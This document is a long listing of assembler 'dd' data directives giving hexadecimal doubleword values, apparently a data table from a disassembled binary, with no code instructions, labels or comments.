		dd 8422B82Fh, 0EE4BBEB5h, 0D9F74377h, 0EA2E3619h, 2D498A30h
		dd 0AD175EA8h, 3CD391Ah, 0E906EB53h, 0ED594BECh, 9A1488A8h
		dd 0E79CBE1Fh, 5A5B0384h, 4157E6E4h, 0EA5C3062h, 445A3B7Ah
		dd 4D3800E8h, 6B458CEEh, 0BB03AF0Dh, 0F66D5B51h, 0C31C02C0h
		dd 0F5298D1Fh, 0D188641h, 7C2D017Eh, 0FC72CE27h, 0C7B78E5Ah
		dd 4E97BF18h, 0ED8F9D8Fh
		dd 18B6429h, 31BEDA4Fh,	5AEAA81h, 64067AF8h, 48DF36BEh
		dd 48B9294Eh, 7AF28CF4h, 0BC99284Ah, 86592420h,	6274BE01h
		dd 42E94D64h, 0EAA527CBh, 8B25BCDAh, 9761EE3Ch,	60C296DCh
		dd 0B02ECCA7h, 0C50D4BA9h, 8620EDB1h, 90636AFDh, 0D24D1E23h
		dd 994BCB7Dh, 9E889774h, 7ABD6379h, 3E5338D9h, 0A84A1BEDh
		dd 26107723h, 0FE1C1B37h, 1396AE23h, 7A33A13Fh,	58010AD2h
		dd 0FE1E98A2h, 0E4FA4B5Bh, 211794D7h, 44FB187Eh, 2AC3393h
		dd 0D50C8B54h, 3C64CC79h, 22571EAh, 0D571A78Ch,	4B470401h
		dd 0D562AF60h, 0B2E9ED81h, 7F7BC27h, 1D51D550h,	0D9B5C9BFh
		dd 0CB6BE2DBh, 4E28B245h, 0D2F8024Eh, 0B8F6E9A1h, 0C276F3D6h
		dd 315ED279h, 0D55AFA82h, 6F965CB1h, 68E025E8h,	4CBF5698h
		dd 0F4EB4111h, 0BB5B3A5Eh, 9B6ED6B1h, 86942FB7h, 73C728EAh
		dd 96ED9449h, 0ABEDC575h, 0E9C987F3h, 0E4E43B89h, 908FFA97h
		dd 43364048h, 0E7FEB2A0h, 70F80125h, 13315D46h,	8631BE4Ah
		dd 0A26E2C23h, 0E8EF7359h, 5E82CCE5h, 25522D66h, 501C4DEEh
		dd 5C811C68h, 0C5315801h, 507AB33Bh, 0FF5A69FCh, 0AAD6E78Bh
		dd 0B5E4D568h, 0F145488Bh, 6F9A1A3Fh, 0A9DC771Ch, 617BD6B2h
		dd 177B3687h, 929EFA40h, 0FECDE462h, 2BA41671h,	811D3500h
		dd 4139E948h, 0C6A6925Bh, 5BE92D38h, 5C510973h,	0B8522E5Ch
		dd 81BCE73Ch, 3BAFD980h, 9E003DC9h, 78308AB0h, 50583BC1h
		dd 83F0AA4h, 5725FEDEh,	0A3C9E910h, 3A62270Bh, 6BF0A049h
		dd 2DE96E8Eh, 0D47BAB12h, 0CF685682h, 0E94AA164h, 342498B6h
		dd 9309045h, 0E0A8F226h, 5549978h, 0DC60DA59h, 2AD0B982h
		dd 9750988h, 96FD59CEh,	306E0BF7h, 0ED543DDh, 0CEB94934h
		dd 8B5C536Ah, 64E6B086h, 5D305825h, 0ADF17D9Bh,	9AC022A5h
		dd 48965D5Ch, 124CCCBFh, 0EC766853h, 62E9C21Fh,	0AAFFDECAh
		dd 0E1194CDAh, 5590F180h, 41650F50h, 0EFE60Eh, 0E9CB2984h
		dd 6EB55DF7h, 325D9D52h, 36D175C0h, 0A26DB2Fh, 62954C66h
		dd 0E55EB4E9h, 17E7CC3Fh, 0A9C9F153h, 0BF06A4FCh, 88AF2D98h
		dd 5696A3B1h, 3FA82008h, 4A69323Dh, 5DC9587Eh, 60E48171h
		dd 0F98B13BEh, 53F1F598h, 29F6C06Fh, 0D0B576DBh, 3FF89711h
		dd 4FA43720h, 3083A158h, 0D5603825h, 5125058Ah,	3A034CCDh
		dd 3FBF5701h, 0EC6FB00Ch, 712A8B9h, 4EAF1A59h, 0A906F2F6h
		dd 750BA611h, 4077D2C2h, 2C6C2DC8h, 0D089D4Fh, 6EDD0E43h
		dd 0BFAB52C8h, 0FBEA8725h, 3EEC4AB1h, 7710BA4Bh, 6BA030D1h
		dd 0BA7AC725h, 60CF2C2Fh, 0B1086604h, 74654B18h, 56215B0Bh
		dd 0D9F62F8Ch, 77939252h, 777A73FCh, 84A5907Eh,	0C7F5E7D1h
		dd 168CA22Ah, 50F858C6h, 202E5E18h, 0F4E4CE88h,	765DE2A2h
		dd 590E5CEAh, 7F1AF480h, 0E31E429Ch, 9465EB1Dh,	3D22CD99h
		dd 0DA566106h, 8B203558h, 0DAF728B6h, 3F5C41ADh, 88A0ACFCh
		dd 0C3E653F8h, 5928C8C9h, 72E906EDh, 0BE0038A3h, 38B33BE0h
		dd 1761E681h, 0E1482554h, 0C5364012h, 476F4E68h, 8E79C00Ch
		dd 25D3E970h, 66E4FF05h, 2904F205h, 3DAE5D5Eh, 7F0CA58Dh
		dd 0E90489C5h, 41EFEAB8h, 1C3B30EBh, 8B972B27h,	5E6AC2D0h
		dd 85FA9FF6h, 586C8520h, 3E379E28h, 0B3D4FC89h,	1D94809Ah
		dd 0D72DEAC8h, 0D0420DA5h, 5AE3681Eh, 6FEA18B7h, 4B5982CCh
		dd 4A4EC42Fh, 0E9AA805Fh, 1CBAAA2Eh, 490E712Fh,	0FA23F80Eh
		dd 61DE414Ah, 0D83FED5Fh, 0CA1234F2h, 11093255h, 26845DD3h
		dd 0ABE1D45Ah, 0EAD5A045h, 662C71AEh, 15628B8Fh, 0F2B346C2h
		dd 0F3487811h, 9628BA3Ah, 0B4C14AFEh, 11700A95h, 0ACF1134Eh
		dd 217DC96Bh, 4002C302h, 7D6B1235h, 5F10696Ah, 1712D472h
		dd 0B194BC4Dh, 0B100F5CFh, 0C4A088D6h, 2BD60AAAh, 0F2B86B13h
		dd 0B2176A12h, 0C1B41084h, 0A9FADD0h, 82BB6D10h, 2CFD055Fh
		dd 0CF02DE7Eh, 5DD8F3FAh, 0BAEC91E3h, 33D455A1h, 0F4487301h
		dd 0C6783D26h, 120684CFh, 0BF840007h, 0E96B764Ah, 0FF0B744Fh
		dd 9A4ED049h, 9BD11318h, 0CA300B27h, 0EA4AACECh, 585C01BEh
		dd 6A21E2E9h, 0F1124F93h, 54213F5Bh, 4AF8FC6Eh,	0F4CEBAF8h
		dd 0BBBF02F0h, 0E00F022Eh, 306395CEh, 0B3961C74h, 4C139A34h
		dd 0B6A080E9h, 0EE03ECC0h, 0FE6F4BF1h, 256825C8h, 54DA3B1Bh
		dd 0D199C0B5h, 498097E3h, 3CEB8106h, 0E699CB02h, 0B237BEE9h
		dd 9305C1D4h, 0C3E3B981h, 0A4231738h, 42000440h, 40718C5Ch
		dd 4EDA0125h, 0F5E921C2h, 0A0D16EC9h, 0ECE55502h, 0EA131BDFh
		dd 55DE1008h, 0B2BDEE4Bh, 34860C62h, 0AC5A1261h, 0E96FB5E4h
		dd 0A739573Ch, 2C6EF1EEh, 6EE94E46h, 4A8BFFE5h,	92E4A11Ah
		dd 0A63D6757h, 0C07E42CAh, 576766FCh, 6AC5E8A2h, 9C82D515h
		dd 0EBD658C2h, 57380C2h, 269B8328h, 8903A758h, 53EE625Fh
		dd 27830B91h, 0DF974D14h, 0DEE92521h, 0D6B96B6Dh, 297DEFC9h
		dd 7776893Fh, 0DF294BA0h, 0EF9AA8E9h, 8DB7AD48h, 7F2099B8h
		dd 31E04B1Dh, 6AD468E4h, 4EE5F4D8h, 8911B39Dh, 36E85D5Ch
		dd 0E4BEBFEDh, 0ADB3F6AFh, 0D150CF46h, 5E4175D5h, 6815026Bh
		dd 5F714BD3h, 17A85080h, 4DEB31E1h, 925E6B5Dh, 98FCDEF8h
		dd 1743DD4Bh, 8EF057FAh, 33384A04h, 17ABC1E9h, 10C9CB88h
		dd 0C13E66C8h, 0DFF7088Ch, 26121B3Ch, 5113483Dh, 0B8FF8E0Bh
		dd 0D05AD7A8h, 0C700D54Fh, 460F1248h, 9FB0DEF7h, 9D8F9D20h
		dd 0BF69CA82h, 89E67509h, 8F2077A2h, 6D40A4EDh,	10BB0B5Ah
		dd 0E91708E0h, 546CB0ACh, 0D98B76BDh, 0EDD5FE87h, 987E25BCh
		dd 68EE51h, 5BF80E70h, 0C749D02Ch, 0A7D94B22h, 55C5241Bh
		dd 0BB5D9742h, 8001B7D0h, 0D5892D20h, 51BA1B80h, 0C99F67E2h
		dd 0C289AB87h, 0B7E4D042h, 0EB4AA798h, 0CBDEEFA9h, 0CC902320h
		dd 0BD091B1Ah, 81F72974h, 7F677584h, 5BCD80C6h,	0FD0AC24Ch
		dd 0D1781721h, 0CF015E09h, 0D0834065h, 0F0390633h, 12750ECAh
		dd 164A7E8Dh, 0AC47E0F2h, 5F786812h, 67B76E30h,	17534EE9h
		dd 51CBC7Eh, 0F11452D4h, 0E999A0FFh, 7109775Bh,	89A60453h
		dd 23685000h, 2F5C1963h, 0BB854BF0h, 984EA3FFh,	4ED4E907h
		dd 6BD8376Ah, 0A513B010h, 517625BFh, 606282h, 8E4056BFh
		dd 2F21148h, 0ED925F87h, 0EAC05F31h, 5C9F59CDh,	0D1DF7A3Ah
		dd 91F644CCh, 0C9DBF731h, 75E730D3h, 5D406D7Ch,	0CF1F26E9h
		dd 5F8169D2h, 7E6BFC58h, 422E4A3h, 4A805C5Eh, 0EDD328A2h
		dd 7A10DB2Dh, 0F5880102h, 6E5C05Ah, 6C284B61h, 0BA4E259h
		dd 0CD0F6B6h, 5103EBF4h, 0ED80C7B5h, 0F9DDE3A2h, 0B93403E6h
		dd 535A07D3h, 2D5B5Fh, 13DAA77h, 705F828h, 4A2E925h, 0E1FB68FFh
		dd 0A2553C46h, 0B1D17731h, 952DE90Eh, 26905BC4h, 9D30C345h
		dd 8020A9D7h, 0F2EBF4DCh, 34F49F3Ch, 9412E958h,	0AF211222h
		dd 30C1322Ch, 30606EEh,	0D4AC968h, 0BC7B5189h, 0EEAD963Ah
		dd 0AFA41E17h, 1F2C1A8Ch, 8B19224Ch, 9C7FDC9Fh,	0A831FD2Ch
		dd 2B135C55h, 3801DDFBh, 96C85E89h, 0B3CE5CFEh,	31353216h
		dd 0F6D5EC7Dh, 4F21E946h, 90B94070h, 660A283Dh,	0BBFB71E9h
		dd 46FD5897h, 13195E10h, 0C4EF05ADh, 0C42CEBDFh, 0BE601785h
		dd 86730042h, 0E91DD23Ah, 53C4ECE6h, 0CBEE51AFh, 0C20F0977h
		dd 1C4675FEh, 0F78B0DDFh, 0AC32904Ah, 99183D7Eh, 0FE06AF96h
		dd 0BD070764h, 57824F6Bh, 0B0C8FF29h, 332C2A69h, 520F3A3Eh
		dd 0C068C74h, 0DD751346h, 650AB5Ch, 140C6808h, 2F482048h
		dd 42133629h
		dd 0F15647C2h, 0ED0CA4Bh, 0C34BD831h, 2D874CF5h, 5D0157E9h
		dd 0E150CA01h, 5EFE3CDBh, 0EE5A93F8h, 0AF410D34h, 0F4F1FBBh
		dd 0ABDB857Bh, 0DF318C8Dh, 5402743Ch, 1CA0685Eh, 4465037Eh
		dd 0A400EA57h, 68F457BBh, 0A9F2B501h, 0E4A2404Fh, 4254E15Fh
		dd 67D8C7E6h, 30F0DD94h, 6FDBB9E1h, 0C807DCEEh,	0D3E9422Ch
		dd 89A88E70h, 3D547D68h, 0F260D483h, 6DC12D1Ah,	0B1264AC5h
		dd 0C1070424h, 56B67EAh, 0EB817B05h, 7C5DF1FBh,	0F8AA6226h
		dd 3C680153h, 591AEC07h, 0C181410Eh, 172D819Bh,	0BA7886E9h
		dd 5FD2FA4Bh, 52E8DF66h, 0A997BB6Fh, 0CBAC5D9Eh, 0F09AE0Ch
		dd 70582E93h, 0C4E92C05h, 5BB7BCADh, 0DA8CA2F7h, 28CD3AEEh
		dd 0E66AB5B6h, 1B2F7D69h, 93C15988h, 42A2EE5Ch,	0F3DF5DB2h
		dd 65D12D30h, 0D7E55DA7h, 149A5DA5h, 0C1E2F9DFh, 30E9F766h
		dd 644F201Dh, 0E1C5A9F9h, 0AC8E02BAh, 0ED85B353h, 5CF6AD95h
		dd 0A71EDE10h, 8153AF89h, 8AB321FCh, 0D971E13Bh, 6AB90064h
		dd 0C3AE3DF6h, 0A6019125h, 6076F480h, 9B5B1CDh,	19DB75A9h
		dd 9C97912Dh, 0F8688B8Bh, 1F2FF772h, 0C538448Dh, 0BABFAF26h
		dd 40421ACCh, 4EF857B9h, 67A55212h, 90C7ECE4h, 0ACF042Dh
		dd 0A34BAEE9h, 70D125EFh, 785CB55Fh, 41F3E8DBh,	5F020944h
		dd 4604DF89h, 0C20100C7h, 0BF5A1A88h, 2989385Ch, 10888BFBh
		dd 9F5DEAD9h, 0E0E3B47Ch, 0BD3000F7h, 57586EA0h, 504A1168h
		dd 124F628Ch, 0AA648701h, 0DEF7A105h, 9B2C7EC0h, 878C5F9Fh
		dd 0EBC3957Eh, 0BD0C3796h, 8297435Ah, 0B90B022h, 0F74914D6h
		dd 22552269h, 9283C847h, 3443D15Dh, 0D60D0068h,	6A4B3A7Bh
		dd 600E3E80h, 67A22D06h, 311AD013h, 4E6ECCEFh, 0EF0C4298h
		dd 0C664C72h, 0C52313D2h, 3D4EEF3Eh, 2A5D657Bh,	85F2E8C2h
		dd 95125E07h, 522D78A6h, 39325Fh, 775880D5h, 0C2C1A218h
		dd 6B080F80h, 8439CE51h, 539B98E4h, 0BD5AB107h,	2033FD0h
		dd 25E9424Eh, 17E8FADFh, 0B729A6h, 717AED26h, 0CC05BD7h
		dd 97DFB511h, 4DFC012Dh, 0E8291F95h, 0EA074405h, 6FFFA061h
		dd 83A4FE05h, 0F6EF40D3h, 74CDDE5Ch, 5AFBC995h,	0B131FC2Fh
		dd 2C9D30ABh, 0A9F0135Bh, 0ECB996EAh, 0E0688B81h, 81B92826h
		dd 41E909B6h, 28818AB8h, 805966EEh, 0F0DE30C6h,	0F4905A70h
		dd 9F8AF14Ah, 0A25EB518h, 2C24DDB2h, 0D517C59Fh, 0F12FF8E3h
		dd 9C7D720Bh, 66FD2FD3h, 1587274h, 0FCBFF8h, 0CFE1DA68h
		dd 9A78ABE9h, 0E1F7B14Fh, 4BFA2CB6h, 0BF4D3CFEh, 9D9BCB09h
		dd 8875C84h, 0BE00D97Bh, 5D6F44D1h, 4B0EF657h, 0E1D9893Bh
		dd 3ADB253Ch, 55B12FF8h, 0CF20A8B8h, 0A222630Fh, 0F12F670Ch
		dd 501F1ABAh, 0D17F6189h, 0E2E98B71h, 311E5678h, 366459CFh
		dd 8EFBA53Dh, 1471D74Dh, 4E2CA03Bh, 0D62EE498h,	74E2F927h
		dd 7762F49h, 59DCBA63h,	0DD109E7Fh, 0F8B61F6Eh,	0E1488CCh
		dd 5919D50h, 0E2ED2B83h, 79DF5DC9h, 5BE9E7CEh, 0B945E58h
		dd 97DE801Ch, 4752C3D7h, 6010E9B3h, 0F289166Ch,	0B60E6CF8h
		dd 8D5F4715h, 2E31B07Ch, 0B82F43A5h, 0C90B93BFh, 0FFAA2931h
		dd 7ED18863h, 4DF448AAh, 1D69C890h, 1DF0550Ch, 750989B9h
		dd 7CCDEA8Ch, 0BF77ACE6h, 473F5118h, 72FECF1h, 605F8E41h
		dd 49334261h, 0B0BB0253h, 317637F7h, 0CA09C7E0h, 0E462E926h
		dd 59D1218Bh, 0ECD562EBh, 5B05F70Bh, 6EAD2D39h,	3DC40DB2h
		dd 0DF72A835h, 0BD1161EFh, 1F1B41A6h, 60CB08EEh, 853B6C2Ch
		dd 25BB63B2h, 0DEA81CAAh, 0C41892C7h, 0A483C1D0h, 0C8B800D9h
		dd 7F27A7Dh, 0F62E6C05h, 8B46F208h, 8A8331DCh, 0D979EA9Fh
		dd 8B245F1Dh, 496DECFBh, 4202DE7Fh, 0F701375Bh,	1FC28960h
		dd 0CE989775h, 0E526AB79h, 13089028h, 95117B3h,	187F1189h
		dd 0B5051AC2h, 295A3EE6h, 31CD12EBh, 8318807Eh,	44C3E295h
		dd 0E7C0F485h, 5AAC43EBh, 89E0A0FBh, 6FFA20EBh,	7868F040h
		dd 0B9F19777h, 962FB248h, 13681590h, 4510D874h,	0DD2918B9h
		dd 0B75DEF8Ah, 0D9087B5Bh, 8A42189Fh, 38E361D6h, 0ED7702AAh
		dd 92982DDh, 59E00F7h, 4E7CEFh,	68972D40h, 0C80114FCh
		dd 0CA0747F9h, 0BA591211h, 350D996h, 2B9571E2h,	6C40FA29h
		dd 87255F08h, 0E2EC5F14h, 0FF5D9331h, 0D9882C34h, 0F1936554h
		dd 49B112C4h, 772BEE3Ah, 0BB32E905h, 20A3AFFEh,	0D756E2D6h
		dd 7D844335h, 0CA4E8CECh, 63A95E77h, 0B4D5C72Dh, 0C4DA4F31h
		dd 98F8AAFCh, 0ED13F4h,	0F4472D08h, 2F61BE6Dh, 59CE310Bh
		dd 9E01C13Eh, 0CB026D61h, 0E3E98CD6h, 6C859529h, 312CC262h
		dd 0F20A7340h, 40107225h, 827F4985h, 0A060B724h, 0D99D5AD9h
		dd 3C08CD18h, 0F75F0505h, 8F04FDFh, 959C264Bh, 2F0FACD3h
		dd 0E9AB017Fh, 856D1348h, 0F191BF4Ah, 0C150F302h, 2D103AC5h
		dd 0E5D2317Ch, 7552ED1Eh, 0E409D464h, 841DCAEAh, 82FC1824h
		dd 8AD48A4Bh, 3462D7C3h, 3938F7ABh, 1C0BC3BAh, 0DC311F48h
		dd 6C777201h, 12389429h, 2860FF53h, 88C3167h, 0A861E969h
		dd 0C0177B26h, 8041EC0h, 2CE83A28h, 0AF0A5934h,	55D0BDB2h
		dd 0E9AF214Bh, 39163E5Bh, 0E812881Ch, 882736C0h, 685909EFh
		dd 0BFF61E93h, 39E0A365h, 86F17B3h, 6827AFD9h, 0D73C71E2h
		dd 45D7B8A9h, 2CCC808Ah, 59E91EE8h, 1AE3A44Eh, 5EEB6C62h
		dd 506AEB0Fh, 0E976BF11h, 0BF530269h, 81450057h, 22092AF5h
		dd 0E555296Eh, 615FA59Eh, 0A86A3158h, 92E983D2h, 2A5E75F4h
		dd 4BFCB41Ch, 1DB5ECF8h, 4C10918h, 0C6A50BDh, 419DC430h
		dd 0AA787EDCh, 0C48A35E9h, 0BAE3FFB7h, 73049A4Ch, 0BB7FEF44h
		dd 0D0905FFCh, 7E649C0Eh, 38FC0232h, 76606045h,	0C3273CFFh
		dd 9C0D747h, 0F9A38FB5h, 2938D2B5h, 0FF25095Ch,	0F85DAE41h
		dd 619A8A82h, 0B33CE20Fh, 45AE4464h, 4CAC61BAh,	1770062Fh
		dd 0A8DE1296h, 0EE592512h, 0B9DC9FE6h, 66120769h, 0BDE176FEh
		dd 5BC2FC3Ah, 81DCA8E5h, 0D7D49D44h, 5E881B4Dh,	7C275A18h
		dd 643B705Dh, 0A42F5D81h, 44148E30h, 0F9C1FDFh,	0D74C2565h
		dd 7421A2C1h, 0CAE6B0C7h, 6202067Bh, 645EE87h, 0FE76F6F6h
		dd 22100F30h, 97231B06h, 56AB000h, 76BD0DB6h, 0EAE916A9h
		dd 0EA56695Dh, 7D58F3F0h, 1954EE4Ah, 7E304316h,	0E8A2EC18h
		dd 4FB8315Ch, 25DCCEABh, 51397F5Ch, 6056B5Bh, 55B5B21Fh
		dd 646646F2h, 0EA5A205Eh, 0EAC6DFE3h, 71B798B7h, 167D496Ah
		dd 685609AAh, 76E738A8h, 0F4505E8Ah, 7F485410h,	8478BC4Ah
		dd 0D10590BFh, 0CA6FF0E2h, 42FDE0Bh, 4C87818h, 0B998D66Fh
		dd 99ED9729h, 0E912467Ah, 0D3F5EFADh, 0EF8041DCh, 0A12DAF2Ah
		dd 5082303Eh, 51165668h, 768A4E1Fh, 5A062D00h, 83052996h
		dd 0D7D7813h, 0C34063BAh, 19D1DFAAh, 8F96A08h, 65436468h
		dd 0EFEF250Ch, 884CE25Dh, 0BD0F8F5Eh, 83F1802Bh, 98753E2Ah
		dd 3BFC3BEFh, 16D895F4h, 0BCB8F7E6h, 822C1D9Ch,	0DFC555A5h
		dd 84AC16C4h, 84B44B48h, 2A66C133h, 0E93DF87Dh,	0FF5C14B8h
		dd 1E57FC2Eh, 0B93D9C68h, 60AF8B5Ah, 7823B838h,	0BF715A2Eh
		dd 1BEF313h, 50633E07h,	4B192075h, 33674C12h, 4DE75FD1h
		dd 7F405202h, 9C3E2BEAh, 2E752649h, 3FA15FB8h, 4F8E57CAh
		dd 104868C2h, 95459F7h,	940E88CCh, 515FC809h, 0ED5FC9D1h
		dd 5BFE8B81h, 2782B075h, 0D5DC9521h, 68D3E962h,	0F68555Ah
		dd 7D4F4075h, 16CB3A66h, 37FD0509h, 0C3CC8246h,	0B6EE5606h
		dd 537D0D4Ch, 1D9054Dh
		dd 2080BD55h, 809838CFh, 0C72816D2h, 0AB4B13EEh, 0EEE44EF8h
		dd 5B13AFCAh, 52B86479h, 97CDA8CBh, 6F6F79FAh, 0B992B5BDh
		dd 0DD19C480h, 0BE05DF14h, 832E0E56h, 0CF99D83h, 0DAC36EEFh
		dd 82D55A2Fh, 0F6F46585h, 71B7360h, 0F0E91274h,	70512D90h
		dd 0B841801Bh, 82A1F22Eh, 7101D068h, 5E5389BEh,	4BC479FCh
		dd 6DD43BB1h, 0BB48CEB0h, 68C8421Fh, 0D7D809h, 0D971EA15h
		dd 3EE91A65h, 7F4126FCh, 31D1FCC4h, 23146815h, 0AB90934h
		dd 3282775Dh, 0BD0054E2h, 0F83351F1h, 8ADD50F7h, 3B02160Fh
		dd 0BE6E0071h, 570374Ch, 76B0FA96h, 16E3A58h, 0CCF2810Dh
		dd 8710D91Ch, 2034E78h,	0A464E963h, 8107C6E4h, 53F5CC73h
		dd 20900CCFh, 0A62C85C5h, 4CA227E9h, 0EB083AD1h, 2B52CFDh
		dd 5BDA6790h, 90D4ADDh,	2C18208h, 0B9987579h, 0C63E2BB1h
		dd 0DAA6923Fh, 0F0E73B80h, 0FA6E5847h, 2D6F0311h, 79FB1AC1h
		dd 835E9F7Dh, 0D93106E1h, 81DCB93h, 75EC8743h, 8038BD14h
		dd 0CF7AF06Ah, 0A4F14B29h, 0DF9D5F9Ah, 0E7C09F9Ah, 0BF81699Fh
		dd 0F87335C4h, 166302B8h, 0F8316747h, 0D6C2F0FEh, 77256232h
		dd 7866584h, 538136EBh,	32F45245h, 6C64382Eh, 44411CF0h
		dd 4950CA56h, 544E630Dh, 518D4CF3h, 88E0010Ah, 1D5E03EDh
		dd 68DB43BAh, 6CB97BDh,	47E727D1h, 983BA3CDh, 2284157Dh
		dd 13429908h, 219A2C11h, 9D8F1009h, 447BE6D1h, 4284F59Bh
		dd 13EB22CBh, 7720DDFh,	0F9F3E2Dh, 0C9680F80h, 0A6004132h
		dd 5E05EC03h, 496BBh, 5AFDA4CDh, 29C86B85h, 80A3D23Dh
		dd 0BE618E65h, 0E42CA71Bh, 0D5EA0056h, 82402938h, 0D60F579Ch
		dd 0E0B33A8Fh, 0C4F559CAh, 64E7005Dh, 74750CD8h, 4603FF30h
		dd 40E0836Dh, 7BE2808Bh, 47E801D6h, 0CF54D7F2h,	0E4FE3005h
		dd 8AF05624h, 0CC4F7A01h, 1AE45347h, 0D680E3DDh, 0FDA1A946h
		dd 4007C341h, 3EE18473h, 5B2BCEA0h, 0B45361CDh,	61C8129Bh
		dd 8E3E64E3h, 7F54F300h, 0DA31D06Fh, 56F900A0h,	38D77281h
		dd 2F03D6A3h, 1AB7ED90h, 4299C8DFh, 0F4933B36h,	3B360EB1h
		dd 0C4F6EC3Ch, 0D4C2413Bh, 95005681h, 6BE86DADh, 0C87D92h
		dd 0B757ED3Eh, 15B25522h, 2EB5300Ch, 0C21DAFh, 0EB72A444h
		dd 48D857DEh, 1754C460h, 3552AB1h, 1DF27918h, 33D0B053h
		dd 0D0907493h, 0DB615400h, 136AFA9Dh, 0CF6F0005h, 39C3B3Ah
		dd 640007F0h, 0E3D9FE94h, 2F45CA49h, 0A881AF95h, 2F7914E0h
		dd 0B356B8C0h, 10F8E71Ch, 5DF800FBh, 0A54C25BAh, 3D3C5F02h
		dd 13B68094h, 6E11B4BCh, 0BD5C0099h, 7AAC51Ah, 0CF587668h
		dd 0FCE533A5h, 6D3BD0E8h, 0B45B0096h, 7A8F2F1Bh, 3D07DA7Dh
		dd 7916B9B6h, 43DC7B80h, 22C900B0h, 4908D685h, 0CA00B41Bh
		dd 0B5A71D87h, 49B10284h, 113FA63Eh, 9639DC83h,	529D6B90h
		dd 0C460009Ch, 5D6CF125h, 39F5D650h, 0EDB1FA00h, 5EE38359h
		dd 0F408009Fh, 0D154F2C4h, 5000F702h, 97D6ADB0h, 0A09E75F8h
		dd 0B694FEh, 11DCF312h,	1A05D572h, 807B95A9h, 0E37A9C7Bh
		dd 24E05FE6h, 675756h, 0E7FC9B29h, 0C20C6508h, 0E6C00950h
		dd 0EB127119h, 7A078EF8h, 0FB9E0038h, 0CD6A09E4h, 0A6004926h
		dd 0C6DB32D2h, 2C31FE43h, 8078E2A9h, 0A346E113h, 8303224Ch
		dd 3CE30FE4h, 8A25D09Dh, 7B0E7h, 28BA9F42h, 8629D0A9h
		dd 0E4877100h, 20BFAE45h, 8D6A0181h, 0F09347EAh, 2F5DF73h
		dd 9E2405CDh, 0DAA96780h, 6105FE99h, 0C7B045E9h, 2CD6AA80h
		dd 0F3F01425h, 6C05B17Fh, 0BB13BB2h, 0A8631FC7h, 8A96A392h
		dd 50535220h, 6AC2Dh, 0FC830ABFh, 3D1190D2h, 46DF6513h
		dd 1CB3D00h, 3637CDh, 0FAF5FE97h, 0B579BE57h, 866C9A00h
		dd 0F96FD998h, 0F64E0B6Bh, 0EE24745Fh, 8E2AC9E3h, 0E6DC4BA4h
		dd 0A80E86h, 5CDF6BD9h,	0DD60E276h, 0FBE05618h,	26D57390h
		dd 125BCA4Eh, 0A20A008Fh, 0AF9B34D3h, 588D310Eh, 0D79580B3h
		dd 396DF4E8h, 8700D95Ch, 202AC36Ah, 2900BB80h, 2BE4FEEBh
		dd 0ADFB9Dh, 0A71CCD73h, 36BD4B07h, 0EF8A6901h,	0BB54F456h
		dd 7188E0DBh, 27380068h, 24D67A10h, 0A93B2C9Dh,	0EE5F8423h
		dd 8D80EA4Bh, 6C349CCh,	0ADA027E8h, 0C8039267h,	0DD0479D4h
		dd 89CA016Bh, 0D72CCB6Eh, 0DA572098h, 7BFD9C00h, 16EA68E2h
		dd 0D442016Ch, 637738A3h, 0E5802FBEh, 1262FDEFh, 404E28BFh
		dd 0B958FFEDh, 0E7925122h, 6B0EB500h, 0F4FDD406h, 55AA024Dh
		dd 2D9781Bh, 1EB58C60h,	0BAE5100h, 26B73CD7h, 2490E7h
		dd 3ED27039h, 149B22A7h, 2E57F44Dh, 8200A36Bh, 0DDC72A17h
		dd 0D01CE462h, 5328C30Fh, 74813BC5h, 499D3212h,	0B1815FBCh
		dd 318E5719h, 7E5CE854h, 8CC75B60h, 2622C560h, 0A47A1CDh
		dd 93867288h, 78D64094h, 994B2ED1h, 9A413800h, 7518E0F7h
		dd 0F0FD31D2h, 301E59C0h, 6B18EA38h, 6CC715E4h,	87BF4883h
		dd 0C11123C4h, 0EC5F6508h, 890C667Bh, 70AA49E6h, 98600093h
		dd 0A28C58F5h, 3607A1CFh, 13D0054Ch, 0E1410EC9h, 85975B92h
		dd 0BAAAD570h, 628360BBh, 0F37514E2h, 25BC5A05h, 0D2C221A4h
		dd 1F504056h, 4D2212A9h, 444E001Eh, 0D16A9CFEh,	2E388C24h
		dd 7643A713h, 0C6C74CBAh, 0BB49260Fh, 0AC391E35h, 0F25880ADh
		dd 615B946Bh, 79F79207h, 7890E0D5h, 759F1435h, 35158CDh
		dd 383BBF00h, 0AD4AC095h, 0F5D46900h, 980DF16Eh, 0A28F0E46h
		dd 0C05DA124h, 6BCA72E6h, 672607D0h, 1F007392h,	3C0CAFC8h
		dd 968C01BEh, 0D5058AF5h, 39E2C82h, 8326C1B3h, 2D0CE6Ch
		dd 7D1CC3AFh, 4A628566h, 0DA7FFA48h, 0F009C813h, 27518600h
		dd 40EE584h, 4AA140DFh,	0F376C02Dh, 0A28D350h, 6512D9E6h
		dd 3C32BE84h, 0EA6E20E2h, 600805Eh, 0F494341Eh,	4BD238h
		dd 37DA7974h, 9936D5A0h, 9BD7AC1Fh, 4FEF5BC2h, 4662C0BAh
		dd 3C88489Eh, 35A56A06h, 505AC71Fh, 4D117CF0h, 2602C7E5h
		dd 0E80BE07Fh, 201C9549h, 6D006F32h, 43E68D64h,	21C4ACh
		dd 0ED8C697Eh, 17BAB54Ah, 0BF467806h, 7AC7B940h, 902B58D8h
		dd 1EB75A0Fh, 59F69D41h, 5DDF60F1h, 8B6A0807h, 215FF9DEh
		dd 109285ECh, 30840BC8h, 0E5F27A52h, 700DC5Fh, 0A2A845E8h
		dd 0B52012h, 2A399488h,	713EC386h, 42E6850Ah, 8002DAADh
		dd 0C037338Eh, 4851F9A1h, 0C00E27CFh, 53802B7Ah, 9EDB18B5h
		dd 0E75EF703h, 4814E56Ah, 3900421Dh, 412D027Dh,	0E900FEA2h
		dd 54C66910h, 35B809h, 9D48D9A7h, 0A94D5B47h, 2829A60Ch
		dd 0B73EE0h, 303FB451h,	17DCF08Dh, 9235D800h, 0F68F323Dh
		dd 0A80D397Eh, 816EF380h, 2FC86787h, 0BAAC403h,	0D85AD872h
		dd 5D35D279h, 1005BC15h, 0C023D06Dh, 99451658h,	2651D616h
		dd 36E29641h, 7F8020B9h, 0AE47C93Fh, 0F05CC5C6h, 0E61D98C8h
		dd 0D906269h, 21C059EFh, 0E0061CBh, 83BB7089h, 24C9F3A1h
		dd 0A47AB98h, 3EE07C75h, 510DBA80h, 8DFC594Ah, 5FF87A09h
		dd 142F0ABh, 0DF62E990h, 0BFD39960h, 8D84805Ch,	8032FB41h
		dd 0E3CAA064h, 9E9E40Ch, 74D66F0Ah, 60EC0000h, 663EC839h
